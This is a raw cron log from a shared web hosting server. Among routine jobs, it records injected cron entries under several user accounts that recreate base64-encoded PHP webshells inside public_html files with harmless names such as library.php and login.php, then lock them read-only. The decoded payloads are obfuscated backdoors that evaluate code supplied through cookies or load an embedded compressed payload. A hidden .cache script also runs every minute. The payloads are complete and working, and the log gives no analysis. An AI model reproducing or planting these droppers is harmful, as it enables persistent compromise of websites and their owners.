"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:41:01 medusa CROND[25529]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:41:01 medusa CROND[25534]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:41:01 medusa CROND[25532]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:42:01 medusa CROND[14727]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:42:01 medusa CROND[14835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:42:01 medusa CROND[14837]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:42:01 medusa CROND[14838]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:42:01 medusa CROND[14839]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:42:01 medusa CROND[14840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:42:01 medusa CROND[14841]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:42:01 medusa CROND[14847]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:42:01 medusa CROND[14848]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:42:01 medusa CROND[14849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:42:01 medusa CROND[14851]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:42:01 medusa CROND[14852]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:42:01 medusa CROND[14853]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:43:01 medusa CROND[4565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:43:01 medusa CROND[4636]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:43:01 medusa CROND[4637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:43:01 medusa CROND[4638]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:43:01 medusa CROND[4639]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 10:43:01 medusa CROND[4640]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:43:01 medusa CROND[4641]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:43:01 medusa CROND[4645]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:43:01 medusa CROND[4646]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:43:01 medusa CROND[4647]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
